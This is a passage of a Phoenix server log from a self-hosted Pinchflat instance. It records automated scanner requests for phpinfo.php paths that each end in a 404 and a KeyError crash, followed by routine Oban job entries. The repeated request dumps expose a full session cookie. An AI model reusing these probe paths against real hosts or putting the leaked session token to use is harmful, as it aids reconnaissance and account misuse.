~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 267, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /administrator/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/administrator/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 267, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0A (truncated) 02:10:26.852 [info] GET /core/phpinfo.php 02:10:26.852 [debug] QUERY OK source="settings" db=0.1ms idle=189.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.852 [debug] QUERY OK source="settings" db=0.0ms idle=125.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.852 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.853 [error] #PID<0.3572.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 268) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /core/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 268, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3572.0>, params: %{}, path_info: ["core", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/core/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7NCMYA9thAcAAULB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 268, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 268, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdg (truncated) 02:10:26.918 [info] GET /includes/phpinfo.php 02:10:26.919 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=190.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.920 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=131.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:26.920 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:26.920 [error] #PID<0.3573.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 269) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /includes/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /includes/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/includes/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 269, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3573.0>, params: %{}, path_info: ["includes", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/includes/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7NR8xDo2jswAAUMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/includes/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 269, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /includes/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/includes/phpinfo.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 269, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs (truncated) 02:10:47.967 [info] {"source":"oban","duration":784,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.481 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:17.968 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:47.969 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.482 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:17.970 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:47.971 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:00.482 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:13:17.972 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:13:47.973 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:00.484 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:14:17.974 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:14:47.975 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:00.485 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:15:17.976 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:15:47.978 [info] {"source":"oban","duration":1664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:00.486 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:16:17.980 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:16:47.981 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:00.486 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:17:17.983 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:17:47.984 [info] {"source":"oban","duration":500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:00.488 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:18:17.986 [info] {"source":"oban","duration":1269,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:18:47.987 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:00.489 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:19:17.989 [info] {"source":"oban","duration":1140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:19:47.991 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:00.490 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:20:17.992 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:20:47.993 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:00.491 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:21:17.994 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:21:47.996 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:00.492 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:22:17.997 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:22:47.999 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:00.493 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:23:18.000 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:23:48.002 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:00.494 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:24:18.004 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:24:48.005 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:00.495 [info] {"source":"oban","duration":431,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:25:18.007 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:48.009 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.496 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:18.010 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:48.012 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.497 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:18.013 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:48.015 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.498 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:18.016 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:48.018 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.499 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:18.020 [info] {"source":"oban","duration":2105,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:48.022 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.500 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:03.582 [info] GET /_rNd9xZ7kL3 02:30:03.583 [debug] QUERY OK source="settings" db=0.5ms idle=1857.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:03.583 [debug] QUERY OK source="settings" db=0.2ms idle=1858.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:03.583 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:03.584 [error] #PID<0.3585.0> running PinchflatWeb.Endpoint (connection #PID<0.3584.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /_rNd9xZ7kL3 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_rNd9xZ7kL3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_rNd9xZ7kL3", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => 